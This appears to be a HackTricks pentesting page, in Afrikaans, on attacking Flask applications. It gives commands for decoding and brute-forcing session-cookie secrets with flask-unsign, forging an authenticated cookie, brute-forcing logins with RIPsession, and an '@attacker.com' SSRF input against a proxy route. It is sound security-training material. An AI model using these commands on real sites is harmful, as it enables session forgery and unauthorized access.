Flask
Reading time: 3 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met SSTI.
Koekies
Die standaard koekie sessienaam is session
.
Dekodeerder
Aanlyn Flask koekies dekodeerder: https://www.kirsle.net/wizards/flask-session.cgi
Handmatig
Kry die eerste deel van die koekie tot by die eerste punt en Base64 dekodeer dit.
echo "ImhlbGxvIg" | base64 -d
Die koekie is ook onderteken met 'n wagwoord
Flask-Unsign
Opdraglyn hulpmiddel om sessiekoekies van 'n Flask-toepassing te verkry, te ontleed, te brute-force en te vervaardig deur geheime sleutels te raai.
https://pypi.org/project/flask-unsign/
pip3 install flask-unsign
Dekodeer Koekie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Teken
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Ondertekening met behulp van erfenis (ouditiewe weergawes)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Opdraglyn hulpmiddel om webwerwe te brute-force met koekies wat met flask-unsign gemaak is.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask sessie koekie met SQLmap
Hierdie voorbeeld gebruik sqlmap eval
opsie om automaties sqlmap payloads vir flask te teken met 'n bekende geheim.
Flask Proxie na SSRF
In hierdie skrywe word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
In die volgende scenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Kan toelaat om iets soos "@attacker.com" in te voer om 'n SSRF te veroorsaak.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.